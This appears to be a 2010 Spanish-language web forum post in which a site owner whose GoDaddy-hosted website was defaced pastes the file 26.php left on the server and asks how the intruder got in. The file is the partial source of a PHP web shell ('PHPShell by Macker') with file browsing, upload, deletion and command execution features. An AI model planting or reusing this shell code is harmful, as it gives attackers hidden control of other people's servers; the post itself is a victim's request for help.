Ver Mensaje Individual
  #1 (permalink)  
Antiguo 13/07/2010, 14:14
mtubillas
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
se bajaron mi web ... ayuda

Hola amigos .. hoy hackearon mi web un tal F3L0M4N, he encontrado en el host un archivo llamado 26.php el cual tiene el siguiente codigo:

Código PHP:
Ver original
  1. <?php
  2.  
  3.  
  4.  
  5. $SFileName=$PHP_SELF;               /*I added this to ensure the script will run correctly...
  6.                                     Please enter the Script's filename in this variable.*
  7.  
  8.                     /* uncomment the two following variables if you want to use http
  9.                        authentication. This will password protect your PHPShell */
  10.  
  11. function walkArray($array){
  12.   while (list($key, $data) = each($array)) {
  13.     if (is_array($data)) {
  14.       walkArray($data);
  15.     }
  16.     else {
  17.       global $$key;
  18.       $$key = $data;
  19.     }
  20.   }
  21. }
  22. if (isset($_PUT)) walkArray($_PUT);
  23. if (isset($_GET)) walkArray($_GET);
  24. if (isset($_POST)) walkArray($_POST);
  25.  
  26. $PHPVer=phpversion();
  27. $isGoodver=(intval($PHPVer[0])>=4);
  28. $scriptTitle = "PHPShell";
  29. $scriptident = "$scriptTitle by Macker";
  30.  
  31. if (empty($Pmax))
  32.     $Pmax = 50;   /* Identifies the max amount of Directories and files listed on one page */
  33. if (empty($Pidx))
  34.     $Pidx = 0;
  35.  
  36. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  37. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  38.  
  39. $scriptdate = "30 march 2003";
  40. $scriptver = "Version 2.6.3dev";
  41. $LOCAL_IMAGE_DIR = "img";
  42. $REMOTE_IMAGE_URL = "img";
  43. $img = array(
  44.                 "Edit"      => "edit.JPG",
  45.                 "Download"  => "download.JPG",
  46.                 "Upload"    => "upload.JPG",
  47.                 "Delete"    => "delete.JPG",
  48.                 "View"      => "view.JPG",
  49.                 "Rename"    => "rename.JPG",
  50.                 "Move"      => "move.JPG",
  51.                 "Copy"      => "copy.JPG",
  52.                 "Execute"   => "exec.JPG"
  53.             );
  54.  
  55. while (list($id, $im)=each($img))
  56.     if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  57.         $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  58.     else
  59.         $img[$id] = "[$id]";
  60.  
  61.  
  62. /* HTTP AUTHENTICATION */
  63.  
  64.     if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || md5($PHP_AUTH_PW) != $http_auth_pass)  ||  (($logoff==1) && $noauth=="yes")  )   {
  65.         setcookie("noauth","");
  66.         Header( "WWW-authenticate:  Basic realm=\"$scriptTitle $scriptver\"");
  67.         Header( "HTTP/1.0  401  Unauthorized");
  68.         echo "Your username or password is incorrect";
  69.         echo "\n\n" . md5($PHP_AUTH_PW);
  70.  
  71.         exit ;
  72.                  
  73.     }
  74.  
  75. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr);  }
  76.  
  77. function Mydeldir($Fdir) {
  78.     if (is_dir($Fdir)) {
  79.         $Fh=@opendir($Fdir);
  80.         while ($Fbuf = readdir($Fh))
  81.             if (($Fbuf != ".") && ($Fbuf != ".."))
  82.                 Mydeldir("$Fdir/$Fbuf");
  83.         @closedir($Fh);
  84.                 return rmdir($Fdir);
  85.     }   else {
  86.         return unlink($Fdir);
  87.     }
  88. }
  89.  
  90. function formatsize($insize) {  
  91.     $size = $insize;
  92.     $add = "B";
  93.     if ($size > 1024) {
  94.         $size = intval(intval($size) / 1.024)/1000;
  95.         $add = "KB";
  96.     }
  97.     if ($size > 1024) {
  98.         $size = intval(intval($size) / 1.024)/1000;
  99.         $add = "MB";
  100.     }
  101.     if ($size > 1024) {
  102.         $size = intval(intval($size) / 1.024)/1000;
  103.         $add = "GB";
  104.     }
  105.     if ($size > 1024) {
  106.         $size = intval(intval($size) / 1.024)/1000;
  107.         $add = "TB";
  108.     }
  109.     return "$size $add";
  110. }
  111.  
  112. if ($cmd != "downl") {
  113.     ?>
  114.  
  115. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?>  -->
  116. <HTML>
  117.  <HEAD>
  118.   <STYLE>
  119.   <!--
  120.     A{ text-decoration:none; color:navy; font-size: 12px }
  121.     body { font-size: 12px;
  122.             background-image: url(img/repeat.bmp);
  123.             scrollbar-width: 5;
  124.         scrollbar-face-color: silver;
  125.         scrollbar-shadow-color: gray;
  126.         scrollbar-highlight-color: white;
  127.         scrollbar-3dlight-color:black;
  128.         scrollbar-darkshadow-color: black;
  129.         scrollbar-track-color:#dddddd;
  130.         scrollbar-arrow-color: black;
  131.     }
  132.     Table { font-size: 12px; }
  133.     TR{ font-size: 12px; }
  134.     TD{ font-size: 12px; BORDER-LEFT: black 0px solid; BORDER-RIGHT: black 0px solid; BORDER-TOP: black 0px solid; BORDER-BOTTOM: black 0px solid; COLOR: black; }
  135.     .border{       BORDER-LEFT: black 1px solid;
  136.            BORDER-RIGHT: black 1px solid;
  137.            BORDER-TOP: black 1px solid;
  138.            BORDER-BOTTOM: black 1px solid;
  139.          }
  140.     .none  {       BORDER-LEFT: black 0px solid;
  141.            BORDER-RIGHT: black 0px solid;
  142.            BORDER-TOP: black 0px solid;
  143.            BORDER-BOTTOM: black 0px solid;
  144.          }
  145.     .inputtext {
  146.             background-color: #EFEFEF;
  147.             border: 1px solid #000000;
  148.             height: 20;
  149.     }
  150.     .inputbutton {
  151.                         background-color: silver;
  152.             border: 1px solid #000000;
  153.             border-width: 1px;
  154.             height: 20;
  155.     }
  156.     .white {
  157.      background-color: #FFFFFF;
  158.      }
  159.     .inputtextarea {
  160.             background-color: #EFEFEF;
  161.             border: 1px solid #000000;
  162.             scrollbar-width: 5;
  163.             scrollbar-height: 5;
  164.             scrollbar-face-color: #EFEFEF;
  165.             scrollbar-shadow-color: silver;
  166.             scrollbar-highlight-color: #EFEFEF;
  167.             scrollbar-3dlight-color:silver;
  168.             scrollbar-darkshadow-color: silver;
  169.             scrollbar-track-color: #EFEFEF;
  170.             scrollbar-arrow-color: black;
  171.     }
  172.     .top { BORDER-TOP: black 1px solid; }
  173.     .textin { BORDER-LEFT: silver 1px solid;
  174.               BORDER-RIGHT: silver 1px solid;
  175.           BORDER-TOP: silver 1px solid;
  176.               BORDER-BOTTOM: silver 1px solid;
  177.               width: 99%; font-size: 12px; font-weight: bold; color: navy;
  178.             }
  179.     .notop { BORDER-TOP: black 0px solid; }
  180.     .bottom { BORDER-BOTTOM: black 1px solid; }
  181.     .nobottom { BORDER-BOTTOM: black 0px solid; }
  182.     .left { BORDER-LEFT: black 1px solid; }
  183.     .noleft { BORDER-LEFT: black 0px solid; }
  184.     .right { BORDER-RIGHT: black 1px solid; }
  185.     .noright { BORDER-RIGHT: black 0px solid; }
  186.     .silver{ BACKGROUND: silver; }
  187.   -->
  188.   </STYLE>
  189.   <TITLE><?php echo $SFileName ?></TITLE>
  190.  </HEAD>
  191.  <body bottommargin="0" rightmargin="0" topmargin="0" leftmargin="0">
  192.  <table width=100% height="100%" NOWRAP border="0">
  193.   <tr NOWRAP>
  194.    <td width="100%" NOWRAP>
  195.     <table NOWRAP width=100% height="100%" border="0" cellpadding="0" cellspacing="0">
  196.      <tr>
  197.       <td width="100%" height="15" class="silver border">
  198.        <center>
  199.         <strong>
  200.          <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
  201.             </strong>
  202.        </center>
  203.       </td>
  204.      </tr>
  205.      <tr><td valign="middle"><br>
  206.  
  207.     <?php
  208. }
  209.  
  210. if ( $cmd=="dir" ) {
  211.     $h=@opendir($dir);
  212.     if ($h == false) {
  213.         echo "<br><font color=\"red\">&nbsp;&nbsp;&nbsp;\n\n\n\n
  214.                COULD NOT OPEN THIS DIRECTORY!!!<br>&nbsp;&nbsp;&nbsp;\n
  215.                THE SCRIPT WILL RESULT IN AN ERROR!!!
  216.                <br><br>&nbsp;&nbsp;&nbsp;\n
  217.                PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
  218.                <br><br></font>\n\n\n\n";
  219.     }
  220.         if (function_exists('realpath')) {
  221.         $partdir = realpath($dir);
  222.     }
  223.         else {
  224.         $partdir = $dir;
  225.     }
  226.     if (strlen($partdir) >= 100) {
  227.         $partdir = substr($partdir, -100);
  228.         $pos = strpos($partdir, "/");
  229.         if (strval($pos) != "") {
  230.             $partdir = "<--   ...".substr($partdir, $pos);
  231.         }
  232.         $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  233.         $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  234.     $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  235.     }
  236.     ?>

No se si el hacker tuvo accedo via FTP o como hizo para dejar ese archivo en el Host,

mi host es de godaddy,

desde ya muchas gracias por als sugerencias